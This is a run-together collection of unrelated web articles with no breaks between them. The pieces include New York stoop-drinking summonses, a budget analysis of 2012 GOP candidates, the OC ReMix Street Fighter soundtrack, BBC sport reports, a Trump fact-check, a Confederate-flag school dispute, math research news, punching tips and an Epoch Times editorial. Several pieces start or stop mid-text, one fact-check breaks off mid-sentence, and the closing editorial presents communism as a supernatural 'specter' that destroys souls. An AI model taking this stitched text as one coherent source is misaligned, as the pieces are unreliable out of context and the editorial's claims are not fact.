Mr. Rausa began doing research and found an article from The New York Times about Kimber VanRy, a Brooklyn resident who had been issued a summons for drinking on his stoop in 2008. The officer who issued Mr. VanRy the summons said he would not have handed out the pink slip if Mr. VanRy had been behind a gate. So Mr. Rausa suggested another option to his friends: Plead not guilty and contest the summonses on the grounds that the drinking was done on private property.
Mr. Rausa cautioned that they might still be better off pleading guilty. “We had an ‘I am Spartacus’ moment,” he recalled. “They were like: ‘No way, we’re going to fight this. This is injustice.’”
With photos that he snapped of the stoop and a recording he made of part of his conversation with the officer, Mr. Rausa plans to represent himself in court. No court date has been set.
A spokesman for the Police Department said he could not comment.
“My issue,” Mr. Rausa said, “is not some yuppie, I-think-I’m-above-the-law issue. It’s the fact that I brought to the attention of the police officer that he was not in the right and he was not receptive at all.”
The law may have seemed unambiguous to Mr. Rausa, but Mr. VanRy, who has become something of an expert on public drinking incidents since getting his summons in 2008, says it is not so clear-cut.
Mr. VanRy, who once gave a talk on the subject in Williamsburg, has heard from people who received summonses after the police saw them drinking through open doorways, behind gates, on roofs and even in the hallways of their apartment buildings.
“There’s so much interpretation left up to the individual officer,” he said. “I tell people, honestly, I think you’re going to lose because it’s written so broadly.”
But Steven Banks, the chief lawyer for the Legal Aid Society, said that in Mr. Rausa’s case the open-container law should not have extended to the stoop because it was private property. “This is representative of the kind of overpolicing that detracts from focusing on real serious problems,” Mr. Banks said.
No judge has yet made the gray area clearer: Mr. VanRy’s case and that of another stoop drinker he knows were both thrown out on technicalities, making Mr. Rausa’s case another chance to test the limits of the open-container law.
Since contesting his summons, Mr. VanRy has moved from Prospect Heights to a brownstone in Windsor Terrace, but he hasn’t stopped enjoying his beers outside — in parks, on beaches, and, yes, outside his home.
But not necessarily on the stoop.
“I have a private roof now,’’ Mr. VanRy said, “so I do most of my public drinking on my own roof.”For years, polls have shown that a majority of the country ranks rising federal debt and deficits amongst its top political concerns. Indeed, there’s some indication that such concerns are on the rise: A Pew poll released in January of this year, for example, reported that 69 percent of the public considered the budget deficit a priority, up 16 percent from the previous year.
Over the course of this year’s primary, all of the GOP candidates have paid lip service to the idea of tackling the debt. But according to a new report by the Committee for a Responsible Federal Budget, only one candidate’s overall combination of tax reforms and spending cuts would actually reduce the total federal debt over the next decade. That candidate is Ron Paul.
CRFB’s estimates indicate that Ron Paul’s policies would reduce the debt by about $2.2 trillion by 2021 under an intermediate-debt scenario, which interprets the candidate’s policies in a way that assumes neither extremely aggressive nor particularly lax policy and implementation choices. Under the same scenario, Rick Santorum’s proposed policies would lift total federal debt by $4.5 trillion. Newt Gingrich’s plans, taken all together, would hike federal debt by about $7 trillion.
Mitt Romney’s headline numbers are better than those posted by Gingrich and Santorum, but only in the sense that they are less bad: CRFB estimates that the former governor's policies would lift the debt by $250 billion by 2021 relative what it would otherwise be.
But Romney’s proposals are missing the sort of detail necessary to really know how they might work. His campaign has suggested it will close a number tax loopholes in order to help fund tax reform, but hasn't said which ones. And although he’s named targets for domestic and defense spending reductions, he hasn’t said exactly what he’ll cut in order to achieve those reductions. (As I’ve noted before, we have a better idea about how Mitt Romney will not cut federal spending than we do about how he would.)
How is it that Romney, Santorum, and Gingrich would end up increasing the federal debt? It’s pretty simple, really: They would cut taxes, but wouldn’t cut spending to match. Santorum’s policies would reduce spending by a little more than $2 trillion, but would cut taxes by $6 trillion. Gingrich would cut slightly more in spending—about $2.7 trillion—but would cut taxes by $7 trillion and actually add $1.6 trillion in spending to overhaul Social Security, among other policy changes. Romney’s vague plans score better, but wouldn’t reduce the debt, and would probably push it slightly higher than it otherwise would have been.
Ron Paul, on the other hand, would cut taxes, but he’d cut spending even more. His tax cuts would reduce the tax burden by $5.2 trillion; meanwhile, he would reduce spending by $7.2 trillion.
(These numbers are produced under what the report’s authors call a “realistic baseline,” which includes policies that are not currently law but are expected to eventually pass, like the extension of the Bush tax cuts, are included.)
Overall, it’s simple enough. Everyone likes tax cuts, but big tax cuts paired with far smaller spending cuts aren’t likely to reduce the federal debt. Spend more than you take in during any given year (as we currently are, to the tune of a trillion bucks or so), and you have a deficit. Those deficits pile up over the years, and give us the federal debt. This shouldn’t be too hard to grasp, but only Ron Paul seems to have figured it out.
The knock on the candidate comparison is that Ron Paul’s plans aren’t realistic. But letting the debt continue on its current unsustainable trajectory—or rise by trillions, as Santorum and Newt likely would—isn’t realistic either. At a minimum, Paul’s plans show the kind of policy changes that will be necessary in order to both cut taxes and take a big chunk out of the federal debt.
There are two major takeaways here: First, while candidates understandably like to talk about tax cuts, when it comes to the federal debt, it’s the spending cuts that matter. Second, the remaining trio of conventional GOP presidential wannabes—Romney, Santorum, and Gingrich—aren’t serious about cutting spending, or about truly improving the nation's long-term fiscal path. They’re invested in the rhetoric of debt reduction, but not the policies that would make it happen.Capcom: "Working with the OC ReMix crew has been one of the most rewarding aspects of working on SF HD Remix, truly making the game a community effort. These guys are part of the meat and potatoes of what makes the Street Fighter fanbase such a lasting part of the gaming industry. Upon contacting them, they were able to turn out product on short notice, with high quality, and were very open to any changes that we required. They worked above and beyond our expectations and I'm hoping that we'll be able to work together in the future." – Rey Jimenez, Associate Producer, Capcom Entertainment
Directors: David W. Lloyd & Shael Riley
Assistant Directors: Larry Oji & Stephen Malcolm-Howell
OverClocked ReMix was proud to work with Capcom to develop a new, remixed soundtrack for Super Street Fighter II Turbo HD Remix. While video game companies have worked with fans in the past, HD Remix is the first major video game with a completely fan-made soundtrack. More than twenty gamers from around the world contributed remixes of the original Street Fighter games' music for inclusion in the updated game, in styles including jazz, hip-hop, reggaeton, spaghetti western, garage rock, big beat and electronica.
Originally based on Blood on the Asphalt, OC ReMix: Super Street Fighter II Turbo HD Remix Official Soundtrack features Jivemaster, AE, Prozax, Palpable, Malcos, José the Bronx Rican, Sixto Sounds, djpretzel, The Grammar Club, Big Giant Circles, Justin R. Coleman, Shael Riley, Vurez, zircon, Red Tailed Fox, Another Soundscape, Neostorm, Mazedude & McVaffe!
Download the Album
You can download the entire album using BitTorrent or download individual MP3s below.
Download Torrent of Entire Album!
(HQ MP3 & FLAC, 66 Tracks, 62:45)
Download Individual MP3s
Reviews
"Once your eyes have adjusted to the new Street Fighter flair, you start getting a kick out of the remixed theme tunes. Every Street Fighter fan has a favourite, and having brought on UDON for the visuals, Capcom in its wisdom signed up OverClocked ReMix to handle the audio. What OCR has done with the classic Ryu, Guile and Ken beats, again, remains true to the original material, but injects a thumping modern feel that has your heart racing all the way to that fierce Shoryuken finish. Special mention has to go to Fei Long's new R&B stage theme, which had us returning to the Bruce Lee wannabe's home for the tune alone." - Matt Edwards, Eurogamer.net
"We're pretty hot on the Fei Long stage theme, but it's one of any number of excellent reworkings - so good that we said they were up there with UDON's graphics work in our Super Street Fighter II Turbo HD Remix review." - Tom Bramwell, Editor, Eurogamer.net
"In order to offer some novelty alongside the HD visuals, Capcom went to video game music tribute website OverClocked ReMix and ask them to remix the old Street Fighter music for the game. The final result is a treat to the ears and fans of the series will surely appreciate the new soundtrack as it matches the striking visual experience to add a bit of adrenaline during fights. - Remixed music is nice." - Jay "AnodaJay" Acevedo, Editor-in-Chief, GameFocus
GameSpot (Game: 8.5/10, Great, Awarded "Great Original Soundtrack"):
"Stellar new art and music. -- Adding to the phenomenal visual delight is an energetically enhanced soundtrack. A fusion of heavy metal guitar riffs and groovy electronica will pump you up with retooled versions of classic jams in the menus and during fights." - Mitch Dyer, GameSpot
"Rounding out the transformation is a soundtrack of remixed renditions of classic Capcom tunes courtesy of OC ReMix. For a game marketed to the fans, it only seems right that its eclectic soundtrack should be made by the fans." - GameTrailers
IGN (Game: 8.7/10, Sound: 8.5/10, Editors' Choice Award):
"Very impressed with the contributions of the OC ReMix community. The music in this game is sweet and a great tribute to the original soundtrack." - Ryan Clements, Associate Editor, IGN PlayStation Team
ComputerGames.ro (Game: 87/100, CG Silver Award):
"The sound was also improved, with more than decent results. The audio part never excelled in the Capcom’s fighting games, but this time around the [OverClocked ReMix] team did good work. Even though the visuals are the most fascinating part of this title, the sound is a good addition to game's atmosphere, with some electronic and heavy-metal music which reminds us of its predecessors, in a modern way." - "Taw", ComputerGames.ro
"Super Street Fighter II Turbo HD Remix's extra bells and whistles include a complete graphical overhaul and a stellar soundtrack, and doesn't disturb the delicate gameplay balance of the arcade classic." - Andrew Podolsky, Game Revolution
Cheat Code Central (Game: 4.5/5, Music / Sound FX / Voice Acting: 4.5/5):
"The decision to bring on artists from the volunteer video game remix community - courtesy of OverClocked ReMix - should be commended. Not only does it give these talented arrangers attention, but every single MIDI track has be re-imagined in the best possible light, giving the audio an updated vibe that feels appropriate and never out of place. The folks over at OverClocked ReMix have done a fantastic job of taking classic MIDI tracks and breathing new life into them." - Jason Lauritzen, Cheat Code Central
"Gorgeously...remixed soundtrack. The soundtrack is an energetic retooling of the classic coin-op music, and its upbeat groove really fits the game’s pace and style." - Corey Cohen, Managing Editor, Official Xbox Magazine
"Everything from the new hand-drawn visuals to the soundtrack remixed by a community of gaming audiophiles feels like fan service." - Ken "ZeroTolerance" McKown, Editor-in-Chief, ZTGameDomain.com
"The simple backdrop animations keep the game rooted with an old-school feel. That goes along with the game's remixed music, which is new, but delivers a quality soundtrack that's reminiscent of the 1990s. Very fitting since Super Street Fighter II Turbo first released in 1994." - Matt Swider, Publisher, Gaming Target
"Tapping the [OC ReMix] community for the soundtrack was the best thing Capcom could have done, because these remixes not only sound excellent, but they still feel like the originals." - Filippo Dinolfo, Associate Editor, Gamer 2.0
WorthPlaying (Game: 9.3/10, Editors' Choice Award):
"What about that music, which keeps its punch? Just leaving it in would have been nice enough, and possibly allow some straight arrangements that would better use the newer audio formats. Instead, Capcom went straight to the experts to remake the music. You're probably guessing some big names from Capcom, but you would be wrong. Instead, David Lloyd, AKA "djpretzel," and the OverClocked ReMix community provide a completely fan-made musical set, and words can't do it justice. It pulls off the same effect as the graphics — both nostalgic and new at the same time — and it could've certainly been a source of crib notes for Street Fighter IV's tracklist." - Erik "NekoIncardine" Ottosen, Reviewer, WorthPlaying
"Remixes by OC ReMix make the action come alive!" - Clarence "SFD" Lim, Street Fighter Devotion
"From its gorgeous visual overhaul to the remixed soundtrack and rebalanced gameplay, Turbo HD is chock full of fan service that will be sure to please even the pickiest Street Fighter connoisseurs." - Tyler Nagata, GamesRadar US
"Behind all the lush new stage backgrounds, hand-drawn HD character models, and remixed music is a fighter obsessively tuned to what the collective hive-mind of SF2 culture deems "perfection." - Ryan Scott, Executive Editor - Reviews, 1UP Network
"The title screen and stage music has been given the remix treatment by our good friends over at OC ReMix and sound[s] great." - Dan Bendon, Editor, Ready Up!
"The new music for the game is INCREDIBLE! It rocks. Literally. As soon as you start up the game you are treated to a beast of an intro. Every character’s theme still feels like their original themes but better. My new favorite has to be Dhalsim’s theme. It’s groovy." - Paolo B., Icrontic
Legendary game composer, The Fat Man:
"OC ReMix has the reputation of being the "not necessarily cool in that normal way" game remix site. They allow--nay, encourage--all those styles whose potential Not-In-Fashion-Ness might make the game companies shudder. So KUDOS to Capcom for taking the chance and leveraging the spikey weirdness of these very creative and talented folks. It shows a deep understanding of what entertainment is.
And hey. It's about time we saw some Game Audio 2.0!" - George "The Fat Man" Sanger, provider of music & audio for more than 150 games, author, and OC ReMixer
You know we have more free music, right?
OverClocked ReMix has honored the music of games since djpretzel founded it in 1999.
Browse and download more than 1,500 free ReMixes honoring more than 500 games. Or download any of our free albums featuring more exclusive mixes.
If you've got room for more than 100 hours' worth of music, with more added every few days, you've got room for OC ReMix!
Follow OC ReMix on Twitter!
Interviews
We love discussing not just our soundtrack work, but the promotion of all game music as a legitimate, viable form of art. For media interested in interviewing or learning more about the people behind OverClocked ReMix, we welcome you to get in touch with us at [email protected] copyright Reuters Image caption It was the first official match between the two now independent nations
Croatia have beaten Serbia in a football World Cup qualifier, amid heavy security in a hostile atmosphere.
The Serbian national anthem was booed at the start of the game, and the home fans in Zagreb continued with abusive chants against their fierce rivals.
At one stage a chorus of "Kill a Serb" echoed round the stadium. Serbian supporters were barred from attending the match which Croatia won 2-0.
The two nations fought a war during the break-up of Yugoslavia in the 1990s.
Fascist songs
Some 40,000 Croatian supporters gathered on Friday for the first official match between the now two independent nations.
There was heavy security in Zagreb, despite an earlier agreement between Croatia and Serbia that travelling fans would be banned from attending the match to reduce the possibility of violence.
And despite repeated appeals by the Croatian football authorities to respect the visiting side, the home crowd soon started singing fascist songs from the 1940s - when tens of thousands of Serbs died in Croatia at the hands of the Ustasa militias.
Police had warned they would stop the game under these circumstances - but they did not, the BBC's Guy Delauney reports from Zagreb.
The European football governing body, Uefa, may take a dimmer view - or it may just be satisfied that there were no violent incidents on or off the pitch, our correspondent adds.
Croatia - who will play the return match in Serbia in September - now top their qualifying Group A together with Belgium, and are in a strong position to qualify for the World Cup finals in Brazil in 2014.
Meanwhile, Serbia has all but lost any chances to progress from the group.Media playback is not supported on this device 'Don't ask me stupid questions'
Chelsea boss Jose Mourinho has rejected being affected by 'third season syndrome' and told a BBC reporter to "Google answers to stupid questions".
The Premier League champions are 17th in the table after losing three of their opening five games of the season.
Asked if he still has the qualities of a great manager, Mourinho replied: "The point is that the question is stupid. I am sorry."
The Blues face Maccabi Tel Aviv in the Champions League on Wednesday.
The Portuguese manager, who joined the club in 2013 for a second spell, said losing is a "strange feeling" after his side's worst start to a top-flight season in 29 years.
Chelsea's 3-2 victory away at West Brom in August is their only victory in the league so far.
Ben Smith, BBC sports news correspondent "Jose Mourinho was sporting a new haircut at today's press conference and, just like his mood, it was short and spiky. "This was the Chelsea manager at his emotional best. Smiling and laughing at one stage and delivering that famous death stare at others. He was fiercely protective of his players, robust in his defence of his own record and proud to remind the rest of English football that 'I am a champion'. "Talk is cheap. Chelsea need results. This is their worst start to a top-flight season since 1986, their manager must hope his new haircut will bring a change in form."
He added: "I promise you I am fine. I am not happy. I am not used to losing so many times but I am adapting to the situation.
"You cannot expect me to say it is all smiles, laughing and jokes. When people are not getting success we work for, we are going to be frustrated.
"We know what we are - champions of England. The fans sing that. Nobody can steal what we are or our trophies or our history, you can try but you can't do that.
"When you are used to winning all the time, then when you don't it is a strange feeling. Some people deal well with it, others not as good."
Rugby referee wants to take on Mourinho "If you had coaches in rugby having a go at referees like Jose Mourinho and some others do, they'd be dealt with more firmly." Read more from international rugby referee Nigel Owens
Spiky Mourinho refutes 'third season syndrome'
In a testy exchange with BBC Sport's Ben Smith, Mourinho rejected the idea that performances of the teams he has managed deteriorated in his third season in charge:
Ben Smith: Do you believe that you still have all the qualities that made you such a great manager? A lot has been made of the third season in your time at clubs - what do you say to that?
Jose Mourinho: Look, my third season - in Porto, I didn't have a third season. My third season in Inter, I didn't have a third season. My third season at Chelsea the first time, I won the FA Cup and the Carling Cup, and I played the Champions League semi-finals. My third season in Real Madrid, I won the Super Cup, I lost the cup [Copa del Rey] final, and I went to the Champions League semi-finals. These are my third seasons...
BS: Sure, but you know what I'm getting at...
JM: So click Google, instead of making stupid questions, click Google and try to find.
BS: Jose, you know what I'm getting at though, don't you, how important is it for you to build...
JM: No, you spoke about the third season, and I am telling you that the question is stupid, because the third season is what I told you.
BS: Jose, you know the point of the question...
JM: No, I know the point, the point is that the question is stupid. I am sorry...
[At this point a Chelsea press officer intervenes]
No message behind new do
Mourinho also rebuffed a suggestion from one journalist that his new short haircut was a response to the turmoil at Chelsea.
Asked if there was any correlation between his haircut and his mood, Mourinho replied: "My haircut isn't as radical as it has been. I am fine, I promise you."
Pressed further on whether the stress of Chelsea's poor run had caused his hair to fall out, Mourinho smiled and shook his head."My policy is similar to what President Obama did in 2011 when he banned visas for refugees from Iraq for six months."
After a weekend of nationwide demonstrations in protest of immigration restrictions on entry from seven nations, President Donald Trump blamed the media for misreporting his controversial executive order and said it was an extension of former President Barack Obama’s policies.
"My policy is similar to what President Obama did in 2011 when he banned visas for refugees from Iraq for six months. The seven countries named in the Executive Order are the same countries previously identified by the Obama administration as sources of terror," Trump wrote in a Jan. 29 statement. "To be clear, this is not a Muslim ban, as the media is falsely reporting."
To refresh, Trump issued an executive order on Jan. 27 barring citizens of Iraq, Syria, Iran, Yemen, Somalia, Sudan and Libya from entering the United States for 90 days. It also puts Syrian refugee admissions on hold indefinitely. (We go over some of the key issues in this explainer.)
In 2011, Obama’s state department stopped processing Iraqi refugee requests for six months, though it didn’t disclose the policy like Trump did, ABC reported in 2013.
So, are the policies similar as Trump claimed?
In the most superficial of ways, yes |
.
The attack on the US consulate in Benghazi also gets a mention, with Mr Trump directly blaming Mrs Clinton for Ambassador Chris Stevens's death.
"He was left helpless to die as Hillary Clinton soundly slept in her bed," Mr Trump said.
Veracity: Even if Mrs Clinton were some genius super-villain, single-handedly destabilising an entire region in a mere four years as secretary of state would be quite an achievement. However, she supported the US invasion of Iraq which was a factor leading to the Arab Spring. The accusations of Clinton culpability in the Benghazi attack will be music to conservative ears, but have been roundly dismissed by US military and government officials involved in the immediate response.
Effectiveness: Foreign policy is usually not a driving issue in US presidential elections, although Mrs Clinton's position as a former secretary of state does make it more relevant this year. Many Americans are concerned about the situation in the Middle East - particularly if it contributes to militant acts on US soil. Past Republican candidates have found success attacking their opponents on their perceived strengths - a path Mr Trump appears to be following here.A group of students at Rim of the World High School in Lake Arrowhead have created a stir for displaying Confederate flags, staked into the beds of their pickup trucks, in the school parking lot.
On Friday, two Ford pickups, parked side-by-side, sat parked in the school parking lot, one Confederate flag and one American flag displayed in the bed of each truck. The black pickup also sported stickers from Patriot Alliance, an online retailer of clothing, National Rifle Association, and Donald Trump campaign signs.
Also on Friday, Running Springs resident Jennifer Celise-Reyes, whose daughter began her freshman year at the high school last month, said she sent emails to school board president Cindy Gardner, school district Superintendent Giovanni H. Annous, and the ACLU expressing her ire over the issue.
“California, along with other states, has declared that the Confederate flag is being used by racist hate groups to represent white supremacy,” Celise-Reyes said in her email. “This hate speech is not protected under the First Amendment and will not be tolerated or protected in our public schools.”
Gardner, in her reply email to Celise-Reyes, said school district administration was working closely, and daily, with the district’s attorneys for legal counsel on the matter.
“The matter is being taken very seriously and being handled at this time in accordance with the counsel given by our attorneys,” Gardner said in her e-mail to Celise-Reyes. “First Amendment rights and all rulings regarding these rights are being reviewed and considered by the attorneys and the district administration in the handling of this situation.”
• Photos: Rim of the World students flying Confederate flag on school grounds stirs controversy in San Bernardino Mountain community
Tony Marcano, spokesman for the ACLU of Southern California, said Friday the organization had just been made aware of the issue and was therefore declining comment until they have more time to review the matter.
Neither Annous nor Rim of the World High School Principal Derek Swem responded Friday to repeated telephone calls and emails seeking comment.
Celise-Reyes also alleged in her email that Rim of the World High School “has been inundated by hate speech, bullying and intimidation by a group of white male students, many of whom are on the wrestling team.”
“Racial slurs, including ‘white power,’ are being yelled at minorities,” Celise-Reyes alleged in her e-mail. “These students are writing ‘WP’ on their chests and raising their shirts at minorities.”
In a statement Friday, Lawrence King, assistant superintendent of personnel/pupil services for Rim of the World Unified School District, said “student safety and welfare remains the District’s highest priority.”
“In response to concerns brought to the district’s attention regarding students’ rights to display flags on their vehicle, we are working closely with our legal representation to ensure all aspects of this matter are fully considered,” King said in his statement. “We are working expeditiously by immediately responding to parent and student concerns that are brought forward. Additionally, the Sheriff’s department has been made aware of this situation and we will provide them with any information that they may request.”
Celise-Reyes, a former Redlands resident who served on the city’s Human Relations Commission, said she did not send an email to high school principal Swem on Friday because he already knows about the controversy.
“They’ve already had a meeting about it and are still deciding what to do about it,” Reyes said. She insisted in her email that the school district adopt a policy similar to a state law passed in 2014 stating that the Confederate flag may not be flown on state property.
“I love the community. It’s a tight-knit group of people. But not everybody is like that,” Celise-Reyes said. “A small percentage of people insist on being apathetic to other people’s views.”
Brian Levin, executive director for the Center for the Study of Hate and Extremism at Cal State San Bernardino, said displaying the Confederate flag, as distasteful as it may be, still falls within the realm of freedom of speech.
He said the Confederate battle flag had renaissance during of the civil rights movement in the 1950s and 1960s as a counter-symbol against those fighting racial segregation. After Dylann Roof, who embraced that flag, was accused of killing nine African-Americans on June 17, 2015 in Charleston, South Carolina, it came down from state houses across the South.
“The Confederate flag belongs in a museum. It is extremely offensive to people of good will, and not only African Americans,” Levin said. “But our First Amendment protections must also protect speech that we hate. It is the right of all Americans to exercise their freedom of expression, even if it’s offensive and hateful, which this certainly is.”We are thrilled to announce that fulfillment of Mevo pre-orders has begun. Thousands of units will begin to arrive across the United States tomorrow. We will fulfill all remaining pre-orders to customers around the world throughout the month of August.
Retail Availability This Week
Later this week Mevo will be available for immediate purchase from our terrific retail partners, including Best Buy, Amazon, and B&H.
Live Chat with the Mevo Product Team
Join us live on Tuesday at 3 p.m. ET on Mevo’s Facebook page. Meet some of the team members behind Mevo, including Mevo team leaders Max Haot, Phil Worthington, and Sergey Malyuk. They’ll be available to take your questions and share the story behind Mevo’s creation.
Thank You to Our Team and Partners
Mevo would not be possible without the dedicated support and countless hours our partners contributed to the design, engineering, manufacturing, and testing that brought Mevo to life. This Livestream team photo represents only a portion of the global Mevo team. We have been blessed by the contributions of the many talented professionals around the world at our suppliers and manufacturing partners. Thank you to every single person who made a contribution to Mevo’s development.The biggest one was that the MMO would tie in to both a Facebook mini-game (this was all taking place in 2010, remember), and each full-body Hero title on every console. The concept behind Hero World was that all of the various console games would connect into this shared universe. On the desktop, your avatar would run a small music venue that needed to attract as many non-player characters each night as possible. You'd do this by "hiring" Guitar Hero players on the console to come and "perform" at your location. Blah blah, virtual economy, blah blah, social interaction, blah blah.
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You'd also have to defeat AI characters who wanted to muscle in on your turf, although the baseball bats and shovels weren't part of the game. Instead, you'd participate in PG-friendly conflict through the medium of a dance-off. Freestyle Games (makers of DJ Hero) were unable to spare the resources to actually make this game, so production was outsourced to Virtual Fairground. Activision's decision to axe the Hero name (at least for the time being) had the knock-on effect of bringing Fairground to its knees. That, combined with Guitar Hero Live's lack of success means there's very little chance of this game ever returning from the dead.Monstrous moonshine, a quirky pattern of the monster group in theoretical math, has a shadow -- umbral moonshine. Mathematicians have now proved this insight, known as the Umbral Moonshine Conjecture, offering a formula with potential applications for everything from number theory to geometry to quantum physics.
"We've transformed the statement of the conjecture into something you could test, a finite calculation, and the conjecture proved to be true," says Ken Ono, a mathematician at Emory University. "Umbral moonshine has created a lot of excitement in the world of math and physics."
Co-authors of the proof include mathematicians John Duncan from Case Western University and Michael Griffin, an Emory graduate student.
"Sometimes a result is so stunningly beautiful that your mind does get blown a little," Duncan says. Duncan co-wrote the statement for the Umbral Moonshine Conjecture with Miranda Cheng, a mathematician and physicist at the University of Amsterdam, and Jeff Harvey, a physicist at the University of Chicago.
Ono will present their work on January 11, 2015 at the Joint Mathematics Meetings in San Antonio, the largest mathematics meeting in the world. Ono is delivering one of the highlighted invited addresses.
Ono gave a colloquium on the topic at the University of Michigan, Ann Arbor, in November, and has also been invited to speak on the umbral moonshine proof at upcoming conferences around the world, including Brazil, Canada, England, India, and Germany.
It sounds like science fiction, but the monster group (also known as the friendly giant) is a real and influential concept in theoretical math.
Elementary algebra is built out of groups, or sets of objects required to satisfy certain relationships. One of the biggest achievements in math during the 20th century was classifying all of the finite simple groups. They are now collected in the ATLAS of Finite Groups, published in 1985.
"This ATLAS is to mathematicians what the periodic table is to chemists," Ono says. "It's our fundamental guide."
And yet, the last and largest finite simple group, the monster group, was not constructed until the late 1970s. "It is absolutely huge, so classifying it was a heroic effort for mathematicians," Ono says.
In fact, the number of elements in the monster group is larger than the number of atoms in 1,000 Earths. Something that massive defies description.
"Think of a 24-dimensional doughnut," Duncan says. "And then imagine physical particles zooming through this space, and one particle sometimes hitting another. What happens when they collide depends on a lot of different factors, like the angles at which they meet. There is a particular way of making this 24-dimensional system precise such that the monster is its symmetry. The monster is incredibly symmetric."
"The monster group is not just a freak," Ono adds. "It's actually important to many areas of math."
It's too immense, however, to use directly as a tool for calculations. That's where representation theory comes in.
The shadow technique is a valuable tool in theoretical math.
Shortly after evidence for the monster was discovered, mathematicians John McKay and John Thompson noticed some odd numerical accidents. They found that a series of numbers that can be extracted from a modular function and a series extracted from the monster group seemed to be related. (One example is the strange and simple arithmetic equation 196884 = 196883 + 1.)
John Conway and Simon Norton continued to investigate and found that this peculiar pattern was not just a coincidence. "Evidence kept accumulating that there was a special modular function for every element in the monster group," Ono says. "In other words, the main characteristics of the monster group could be read off from modular functions. That opened the door to representation theory to capture and manipulate the monster."
The idea that modular functions could tame something as unruly as the monster sounded impossible -- like lunacy. It was soon dubbed the Monstrous Moonshine Conjecture.
(The moonshine reference has the same meaning famously used by Ernest Rutherford, known as the father of nuclear physics. In a 1933 speech, Rutherford said that anyone who considered deriving energy from splitting atoms "was talking moonshine.")
In 1998, Richard Borcherds won math's highest honor, the Fields Medal, for proving the Monstrous Moonshine Conjecture. His proof turned this representation theory for the monster group into something computable.
Fast-forward 16 years. Three Japanese physicists (Eguchi, Ooguri and Tachikawa) were investigating a particular kind of string theory using a particle physics model from the Mathieu Group M24, another important finite simple group.
"They conjectured a new way to extract numbers from the Mathieu Group," Duncan says, "and they noticed that the numbers they extracted were similar to those of the monster group, just not as large." Terry Gannon, a mathematical physicist, proved that their observations are true.
It was a new, unexpected analogue that hinted at a pattern similar to monstrous moonshine.
Duncan started investigating this idea with physicists Cheng and Harvey. "We realized that the Mathieu group pattern was part of a much bigger picture involving mock modular forms and more moonshine," Duncan says. "A beautiful mathematical structure was controlling it."
They dubbed this insight the Umbral Moonshine Conjecture. Since the final version of the more than 100-page conjecture was published online last June, it has been downloaded more than 2,500 times.
The conjecture caught the eye of Ono, an expert in mock modular forms, and he began pondering the problem along with Griffin and Duncan.
"Things came together quickly after the statement of the Umbral Moonshine Conjecture was published," Ono says. "We have been able to prove it and it is no longer a guess. We can now use the proof as a completely new and different tool to do calculations."
Just as modular forms are "shadowed" by mock modular forms, monstrous moonshine is shadowed by umbral moonshine. (Umbra is Latin for the innermost and darkest part of a shadow.)
"The job of a theoretical mathematician is to take impossible problems and make them tractable," Duncan says. "The shadow device is one valuable tool that lets us do that. It allows you to throw away information while still keeping enough to make some valuable observations."
He compares it to a paleontologist using fossilized bones to piece together a dinosaur.
The jury is out on what role, if any, umbral moonshine could play in helping to unravel mysteries of the universe. Aspects of it, however, hint that it could be related to problems ranging from geometry to black holes and quantum gravity theory.
"What I hope is that we will eventually see that everything is unified, that monstrous moonshine and umbral moonshine have a common origin," Duncan says. "And part of my optimistic vision is that umbral moonshine may be a piece in one of the most important puzzles of modern physics: The problem of unifying quantum mechanics with Einstein's general relativity."I’ve noticed a bunch of videos in my news feed recently about punching. If you want to improve your hand strikes, check out these tips:
The Lead
Punching with the hand that is already forward is known as a jab in modern boxing. It’s considered a light punch because there’s not much room to accelerate and an inability to put your bodyweight behind it. At least, that’s the opinion of modern boxers.
Bare knuckle boxers know that the lead with a lunging step can span a larger space and put the entire body weight behind the punch. Wing Chun uses a similar punch, which Bruce Lee called the “one-inch straight blast” in Jeet Kune Do.
Here’s some good advice on that from a Wing Chun perspective:
Transfer energy from your rear leg through your hip to your spine, and then through your shoulder and extended elbow into your target. If you add a forceful leg motion to put more bodyweight behind it, you’ve got pugilism’s lead punch.
Other videos from this channel alternate between Wing Chun and Aikido with two main instructors. Some of the advice is great, and some is opinion and preference.
The Cross
A straight punch while rotating is called a cross in modern boxing and simply a “right punch” in some older schools. It is considered to be the most powerful punch you can deliver, and can easily end a fight.
Without further ado, here’s almost exactly what I teach:
Are You Even Punching Correctly? w/Trainer: JT Van V
Watch this video on YouTube
Shane has a lot of great videos on his channel Fight Tips. Some other recent boxing-related videos include:
Does fat protect against body shots?
Boxing drill to increase punching accuracy
How to Knock Someone Out with One Punch
Throw Faster Uppercuts
Old School
If you have the patience for a long-form video lesson copied from VHS with low resolution, I highly recommend Old School Bare Knuckle taught by Carl Cestari:
Punch in Combination with Kicks, Grapples and Weapons
Bartitsu Fundamentals begins at the start of every month. Join us to learn the fundamentals of scientific self-defence next week on Wednesday, 30 September 8-10pm or Saturday, 3 October 2-4pm.The Epoch Times Exclusive Series: The Ultimate Goal of Communism
Preface to an editorial series on communism's plot to destroy humanity
One hundred years have passed since communism first appeared in the Soviet Union. Within the span of a century, communism has caused more than 100 million unnatural deaths. Since communism first appeared on Earth, it has boldly challenged gods for the right to rule over human beings. In “The Internationale,” the French socialist anthem created by Paris Commune member Eugène Edine Pottier, the lyrics declared, “There has never been any savior of the world,” and, “The old world, it shall be destroyed.”
Where did communism come from? Why did it appear in the universe? What is the fundamental nature of communism? What will be its fate? People have speculated about these questions. Now, it is time to uncover the answers.
The essence of communism is that it is a specter. It is made up of hatred and degenerate elements of the universe. It has a deep hatred for human beings and wants to destroy them. It is not satisfied with killing a man’s flesh body alone; after all, life does not terminate with the death of the physical body—people’s souls reincarnate. But when a person has absolutely abandoned his sense of morality, his soul will be completely eliminated. That is the ultimate, most terrifying death. Dragging humanity toward the abyss of eternal damnation is what this communist specter wants to achieve.
After the fall of the Berlin Wall in 1989, the communist alliance of the Soviet Union and the Eastern bloc soon collapsed. It seemed like the entire world believed the Cold War had ended, and communist ideology was facing its utter demise. The remaining communist countries felt they were about to fall at any moment.
The truth is, on the contrary, the original decree of communist ideology and communism—with a face-lift—have continued to wreak havoc on the world. Countries have openly declared that they are socialist nations, including China, North Korea, Cuba, and Vietnam. Many other countries in Africa and South America have ruled under the guise of a republic or a democratic nation, but are in fact practicing socialism. What’s more, there are also countries in Europe and North America that are not aware of how their values have been eroded by communism.
Whether it has expanded its influence with violence or infiltrated society in secret, the communist specter has resorted to destroying culture—established by the Creator to ultimately save people—as its way of annihilating mankind.
